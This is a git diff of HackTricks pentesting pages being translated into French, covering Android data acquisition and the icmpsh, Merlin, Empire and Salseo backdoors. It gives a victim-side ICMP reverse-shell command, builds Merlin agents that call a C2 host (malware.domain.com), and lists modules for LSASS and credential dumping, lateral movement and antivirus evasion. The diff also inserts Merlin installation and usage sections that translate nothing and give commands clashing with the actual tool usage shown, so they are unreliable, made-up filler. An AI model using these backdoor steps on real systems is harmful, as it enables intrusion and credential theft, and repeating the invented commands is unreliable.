hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Locked Device +## Appareil verrouillé -To start extracting data from an Android device it has to be unlocked. If it's locked you can: +Pour commencer à extraire des données d'un appareil Android, il doit être déverrouillé. S'il est verrouillé, vous pouvez : -* Check if the device has debugging via USB activated. -* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) -* Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) +* Vérifiez si le débogage via USB est activé sur l'appareil. +* Recherchez une possible [attaque de traces de doigts](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) +* Essayez avec [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) -## Data Adquisition +## Acquisition de données -Create an [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` +Créez une sauvegarde Android en utilisant adb et extrayez-la en utilisant [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/) : `java -jar abe.jar unpack file.backup file.tar` -### If root access or physical connection to JTAG interface +### Si l'accès root ou la connexion physique à l'interface JTAG -* `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory). -* `df /data` (Discover the block size of the system). -* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size). +* `cat /proc/partitions` (recherchez le chemin d'accès à la mémoire flash, généralement la première entrée est _mmcblk0_ et correspond à toute la mémoire flash). +* `df /data` (Découvrez la taille de bloc du système). +* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (exécutez-le avec les informations recueillies à partir de la taille de bloc). -### Memory +### Mémoire -Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Utilisez Linux Memory Extractor (LiME) pour extraire les informations de RAM. C'est une extension de noyau qui doit être chargée via adb. diff --git a/backdoors/empire.md b/backdoors/empire.md index e4ae0b9f2..cb79f0d20 100644 --- a/backdoors/empire.md +++ b/backdoors/empire.md @@ -1,38 +1,15 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md index d120e97a3..a436257ae 100644 --- a/backdoors/icmpsh.md +++ b/backdoors/icmpsh.md @@ -1,66 +1,54 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +Téléchargez la porte dérobée à partir de : [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# Côté client -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +Exécutez le script : **run.sh** +**Si vous obtenez une erreur, essayez de changer les lignes :** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**Pour:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **Côté Victime** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +Téléchargez **icmpsh.exe** sur la victime et exécutez-le : ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/backdoors/merlin.md b/backdoors/merlin.md index 16ab5c48b..391e9aecd 100644 --- a/backdoors/merlin.md +++ b/backdoors/merlin.md @@ -1,26 +1,6 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - # Installation -## Install GO - +## Installer GO ``` #Download GO package from: https://golang.org/dl/ #Decompress the packe using: @@ -33,94 +13,206 @@ Add "export GOBIN=$GOPATH/bin" source /etc/profile ``` +## Installer Merlin -## Install Merlin +--- +### Description + +Merlin is a backdoor that allows remote access to a compromised system. It is designed to work on Windows systems and can be installed as a service or as a standalone executable. + +### Installation + +To install Merlin, follow these steps: + +1. Download the Merlin binary from the official repository. +2. Upload the binary to the target system. +3. Execute the binary with the following command: `merlin.exe install` +4. Start the Merlin service with the following command: `net start Merlin` + +### Usage + +Once installed, Merlin can be controlled remotely using the Merlin Console. The console allows the attacker to perform a variety of actions, including: + +- Uploading and downloading files +- Executing commands +- Taking screenshots +- Recording keystrokes +- Accessing the webcam and microphone + +### Detection + +Merlin can be difficult to detect because it is designed to be stealthy. However, there are a few indicators that may suggest its presence, including: + +- Unusual network traffic +- Unusual processes running on the system +- Unusual registry entries + +### Prevention + +To prevent Merlin from being installed on your system, follow these best practices: + +- Keep your system up-to-date with the latest security patches. +- Use a reputable antivirus program and keep it up-to-date. +- Use a firewall to block incoming connections. +- Be cautious when downloading and executing files from the internet. +- Use strong passwords and two-factor authentication. ``` go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch cd $GOPATH/src/github.com/Ne0nd0g/merlin/ ``` +# Lancer le serveur Merlin -# Launch Merlin Server +--- +## Introduction + +Merlin est un backdoor qui permet d'obtenir un accès persistant à une machine Windows. Il est capable de contourner les pare-feux et les antivirus, et peut être utilisé pour exécuter des commandes à distance. + +## Utilisation + +Pour lancer le serveur Merlin, il suffit de télécharger le fichier binaire et de l'exécuter sur la machine cible. Le serveur peut être configuré pour se connecter à un serveur C2 (command and control) pour recevoir des commandes à distance. + +### Étape 1 : Télécharger le fichier binaire + +Le fichier binaire peut être téléchargé depuis le référentiel GitHub de Merlin. + +### Étape 2 : Exécuter le fichier binaire + +Pour exécuter le fichier binaire, ouvrez une invite de commande et naviguez jusqu'au répertoire contenant le fichier binaire. Ensuite, exécutez la commande suivante : + +``` +merlin.exe +``` + +### Étape 3 : Configurer le serveur + +Le serveur Merlin peut être configuré en utilisant les options de ligne de commande. Par exemple, pour configurer le serveur pour se connecter à un serveur C2, utilisez la commande suivante : + +``` +merlin.exe --c2 +``` + +Remplacez `` par l'adresse IP du serveur C2. + +## Conclusion + +Le serveur Merlin est un backdoor puissant qui peut être utilisé pour obtenir un accès persistant à une machine Windows. En suivant les étapes ci-dessus, vous pouvez lancer le serveur et le configurer pour se connecter à un serveur C2. ``` go run cmd/merlinserver/main.go -i ``` +# Agents Merlin -# Merlin Agents +Vous pouvez [télécharger des agents précompilés](https://github.com/Ne0nd0g/merlin/releases) -You can [download precompiled agents](https://github.com/Ne0nd0g/merlin/releases) - -## Compile Agents - -Go to the main folder _$GOPATH/src/github.com/Ne0nd0g/merlin/_ +## Compiler des agents +Allez dans le dossier principal _$GOPATH/src/github.com/Ne0nd0g/merlin/_ ``` #User URL param to set the listener URL make #Server and Agents of all make windows #Server and Agents for Windows make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips) ``` +## **Compilation manuelle des agents** -## **Manual compile agents** +--- +### **Description** + +Merlin agents can be compiled manually from the source code. This can be useful in situations where the precompiled agent binary is not compatible with the target system. + +### **Instructions** + +1. Clone the Merlin repository: + + ``` + git clone https://github.com/Ne0nd0g/merlin.git + ``` + +2. Navigate to the `agent` directory: + + ``` + cd merlin/agent + ``` + +3. Compile the agent binary: + + ``` + go build -o merlin main.go + ``` + +4. Transfer the compiled binary to the target system. + +5. Set the appropriate permissions on the binary: + + ``` + chmod +x merlin + ``` + +6. Run the agent: + + ``` + ./merlin + ``` + +### **Impact** + +Compiling the Merlin agent manually allows for greater flexibility in deploying the agent to target systems. However, it requires knowledge of the target system's architecture and may be more time-consuming than using a precompiled binary. ``` GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g ``` - # Modules -**The bad news is that every module used by Merlin is downloaded from the source (Github) and saved on disk before using it. Be careful about when using well-known modules because Windows Defender will catch you!** +**La mauvaise nouvelle est que chaque module utilisé par Merlin est téléchargé depuis la source (Github) et enregistré sur le disque avant d'être utilisé. Faites attention lorsque vous utilisez des modules bien connus car Windows Defender vous attrapera !** -**SafetyKatz** --> Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file\ -**SharpDump** --> minidump for the process ID specified (LSASS by default) (Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file)\ -**SharpRoast** --> Kerberoast (doesn't work)\ -**SeatBelt** --> Local Security Tests in CS (does not work) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ -**Compiler-CSharp** --> Compile using csc.exe /unsafe\ -**Sharp-Up** -->Allchecks in C# in powerup (works)\ -**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool (doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\ -**Invoke-InternalMonologue** --> Impersonates all available users and retrieves a challenge-response for each (NTLM hash for each user) (bad url)\ -**Invoke-PowerThIEf** --> Steal forms from IExplorer or make it execute JS or inject a DLL in that process (doesnt work) (and the PS looks like doesnt work either) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ -**LaZagneForensic** --> Get browser passwords (works but dont prints the output directory)\ -**dumpCredStore** --> Win32 Credential Manager API (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ -**Get-InjectedThread** --> Detect classic injection in running processes (Classic Injection (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (doesnt works)\ -**Get-OSTokenInformation** --> Get Token Info of the running processes and threads (User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\ -**Invoke-DCOM** --> Execute a command (inother computer) via DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\ -**Invoke-DCOMPowerPointPivot** --> Execute a command in othe PC abusing PowerPoint COM objects (ADDin)\ -**Invoke-ExcelMacroPivot** --> Execute a command in othe PC abusing DCOM in Excel\ -**Find-ComputersWithRemoteAccessPolicies** --> (not working) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\ -**Grouper** --> It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. (deprecated) Take a look at Grouper2, looks really nice\ -**Invoke-WMILM** --> WMI to move laterally\ -**Get-GPPPassword** --> Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords (insidedomain)\ -**Invoke-Mimikatz** --> Use mimikatz (default dump creds)\ +**SafetyKatz** --> Mimikatz modifié. Dump LSASS dans un fichier et lance :sekurlsa::logonpasswords sur ce fichier\ +**SharpDump** --> minidump pour l'ID de processus spécifié (LSASS par défaut) (Il est dit que l'extension du fichier final est .gz mais en réalité c'est .bin, mais c'est un fichier .gz)\ +**SharpRoast** --> Kerberoast (ne fonctionne pas)\ +**SeatBelt** --> Tests de sécurité locaux dans CS (ne fonctionne pas) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ +**Compiler-CSharp** --> Compilation en utilisant csc.exe /unsafe\ +**Sharp-Up** --> Tous les checks en C# dans powerup (fonctionne)\ +**Inveigh** --> Outil de spoofing et d'interception PowerShellADIDNS/LLMNR/mDNS/NBNS (ne fonctionne pas, doit charger : https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\ +**Invoke-InternalMonologue** --> Impersonne tous les utilisateurs disponibles et récupère un challenge-response pour chacun (hachage NTLM pour chaque utilisateur) (mauvaise URL)\ +**Invoke-PowerThIEf** --> Vole des formulaires à IExplorer ou le fait exécuter JS ou injecte une DLL dans ce processus (ne fonctionne pas) (et le PS semble ne pas fonctionner non plus) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ +**LaZagneForensic** --> Obtient les mots de passe du navigateur (fonctionne mais ne montre pas le répertoire de sortie)\ +**dumpCredStore** --> API Win32 Credential Manager (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ +**Get-InjectedThread** --> Détecte l'injection classique dans les processus en cours d'exécution (Injection classique (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (ne fonctionne pas)\ +**Get-OSTokenInformation** --> Obtient les informations de jeton des processus et des threads en cours d'exécution (Utilisateur, groupes, privilèges, propriétaire… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\ +**Invoke-DCOM** --> Exécute une commande (dans un autre ordinateur) via DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\ +**Invoke-DCOMPowerPointPivot** --> Exécute une commande dans un autre PC en abusant des objets COM PowerPoint (ADDin)\ +**Invoke-ExcelMacroPivot** --> Exécute une commande dans un autre PC en abusant de DCOM dans Excel\ +**Find-ComputersWithRemoteAccessPolicies** --> (ne fonctionne pas) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\ +**Grouper** --> Il dump toutes les parties les plus intéressantes de la stratégie de groupe et fouille ensuite dedans pour trouver des choses exploitables. (obsolète) Jetez un coup d'œil à Grouper2, ça a l'air vraiment sympa\ +**Invoke-WMILM** --> WMI pour se déplacer latéralement\ +**Get-GPPPassword** --> Recherche groups.xml, scheduledtasks.xml, services.xml et datasources.xml et renvoie les mots de passe en texte brut (à l'intérieur du domaine)\ +**Invoke-Mimikatz** --> Utilise mimikatz (creds par défaut)\ **PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\ -**Find-BadPrivilege** --> Check the privileges of users in computers\ -**Find-PotentiallyCrackableAccounts** --> Retrieve information about user accounts associated with SPN (Kerberoasting)\ +**Find-BadPrivilege** --> Vérifie les privilèges des utilisateurs dans les ordinateurs\ +**Find-PotentiallyCrackableAccounts** --> Récupère des informations sur les comptes d'utilisateur associés à SPN (Kerberoasting)\ **psgetsystem** --> getsystem -**Didn't check persistence modules** +**N'a pas vérifié les modules de persistance** -# Resume +# Résumé -I really like the feeling and the potential of the tool.\ -I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts. +J'aime vraiment la sensation et le potentiel de l'outil.\ +J'espère que l'outil commencera à télécharger les modules depuis le serveur et intégrera une sorte d'évasion lors du téléchargement des scripts.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/backdoors/salseo.md b/backdoors/salseo.md index d98dbce9c..7c67bf41d 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -1,170 +1,155 @@ -# Salseo +## Salseo
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Compiling the binaries +## Compilation des binaires -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +Téléchargez le code source depuis Github et compilez **EvilSalsa** et **SalseoLoader**. Vous aurez besoin de **Visual Studio** installé pour compiler le code. -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (si Windows prend en charge x64, compilez-les pour cette architecture). -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'onglet **"Build"** à gauche dans **"Platform Target".** -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*Si vous ne trouvez pas ces options, cliquez sur **"Project Tab"** puis sur **"\ Properties"**) ![](<../.gitbook/assets/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): 